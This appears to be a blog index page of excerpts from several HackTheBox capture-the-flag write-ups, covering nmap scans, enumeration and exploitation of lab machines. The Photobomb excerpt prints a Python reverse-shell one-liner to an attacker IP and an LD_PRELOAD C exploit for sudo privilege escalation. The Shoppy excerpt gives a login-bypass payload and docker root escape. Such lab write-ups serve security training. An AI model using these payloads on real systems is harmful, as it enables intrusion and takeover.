BroScience HackTheBox Writeup

Scanning

We launch nmap tool with scripts and versions on all ports.

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
|   256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
|_  256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
80/tcp  open  http     Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after:  2023-07-14T19:48:36
|_http-title: BroScience : Home
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.54 (Debian)
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see that nmap shows us the domain broscience.htb, so we include it in our /etc/hosts file.

Read More

Photobomb HackTheBox Writeup

 

Scanning

We launch nmap tool with scripts and versions on all ports.

We see that nmap shows us the domain "photobomb.htb", so we include it in our "/etc/hosts" file.

Enumeration

We access the website:

If we try to access the link, we are asked for access credentials:

We review the source code, find the file "photobomb.js" and inside it some hardcoded credentials:

We enter the credentials, see that they work and it takes us to a kind of image gallery.

The machine is slow, I don't know if it's like that, but fuzzing is not the best ally in this occasion, I tried to put a slash "/printer/" and I saw that it returned an error where it tried to load an image in an internal port and to the directory "__sinatra__":

Exploitation

From the name of the machine, I assumed that the entry point or vulnerability would have to be in the one thing it had, downloading images.

As we saw before, it makes a GET to download the photo, so even if we see the code, we could try to escape and execute malicious code..

Petición legítima:

Command injection request:

Since I was able to inject a command, I tried several reverse shells, but this was the only one that worked.

Reverse shell:

 export RHOST="10.10.14.13";export RPORT=443;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'  

We gain access to the machine, enumerate the user and read the user flag:

Privilege Escalation

We do a "sudo -l" and list that we can run as root the script "/opt/cleanup.sh".

We see that SETENV does not require a password, this can be exploited with "LD_Preload" by injecting it next to the script and getting it to run with the internal find:

Exploit code:

 #include <stdio.h>  
 #include <sys/types.h>  
 #include <stdlib.h>  
 void _init() {  
 unsetenv("LD_PRELOAD");  
 setgid(0);  
 setuid(0);  
 system("/bin/sh");  
 }  

We download the file "exploit.so" in temporary and run it together with the script with SUDO, we see that we escalate privileges to root and read the flag.

Read More

UpDown HackTheBox Writeup

 Scanning

We scan with nmap to all ports, with scripts and software versions::

Enumeration

We access the web resource, list the domain "siteisup.htb" and see a form to check websites.

Read More

Shoppy HackTheBox Writeup

Scanning

We performed an nmap scan of all ports, including scripts and software versions. We list the domain "shoppy.htb" in the nmap information.

Enumeration

We put the domain "shoppy.htb" in our "/etc/hosts" file and access the website, inside we see a kind of countdown to present the beta of their software.

We launched dirsearch and discovered some interesting routes:

On the other hand, we access the port 9093 resource, we see a kind of plugins playbooks log:

Exploitation

But let's go by parts, we continue with the port 80 service, we access an authentication panel of a software called "Shoppy".

Tests on the authentication panel, attempt to bypass the login and we see that we can access with the following payload in user and password "'||'2'||'".

We try to set default users as "admin", we see that it exists and it creates a file to download.

If we click on it, we see that it exports a json file with the user's hashed credentials:

Now we try to search for users, since there are no other options, but something tells me that we are going to have to fuzz with a dictionary of user names:

We launch an enumeration of users with wfuzz and we see that valid users are appearing:

We reviewed the information of the user "Josh":

We try to get the password from hashes.com and see that we can get the password in plain text:

We try to use the credentials on the SSH service, but we see that they don't work, so we must be missing some other web service to enumerate.

So we try to enumerate subdomains under "shoppy.htb" with the wfuzz tool and enumerate the subdomain "mattermost.shoppy.htb":

Other panel enumerate:

We access with the credentials and find that credentials are being shared through a "Mattermost" channel:

We access by SSH, list the files, read the user flag and see that we can execute a binary called "password-manager" with the user "deploy":

Privilege Escalation

If we try to run the binary, we see that it asks for credentials. So I ran a "strings" on the path of the binary and saw that it internally tries to read a file that is supposed to contain the valid credentials.

But we do not have access to read the file "creds.txt":

We review the permissions and files that exist in the folder of the user "deploy":

We try to "cat" binary over the "password-manager" file and we see that a string that could be the password is being leaked:

We test the password and obtain the credentials of the "deploy" user:

We authenticate as the "deploy" user and see that we are in relevant groups to read files or do privilege escalations:

So we don't complicate things, we run docker to raise a shell and we manage to read the root flag.

Read More

Faculty HackTheBox Writeup

Scanning

We launch nmap tool with scripts and versions on 22 and 80 ports.

We see that it shows us a redirection to "faculty.htb", we put it in our "/etc/hosts" file.

Enumeration

We access the site and see that we are required to enter the ID of a faculty:

Read More

OpenSource HackTheBox Writeup

 

Scanning

We launch nmap tool with scripts and versions on all ports.

Enumeration

We access the corporate website:

Below, we find a button where we can download the source code of an application.

Read More

Scrambled HackTheBox Writeup

Scanning

We run nmap tool on ports 53, 80, 88, 135, 139, 389, 445, 464, 593, 636, 1433, 3268, 3269, with script and software versions:

Read More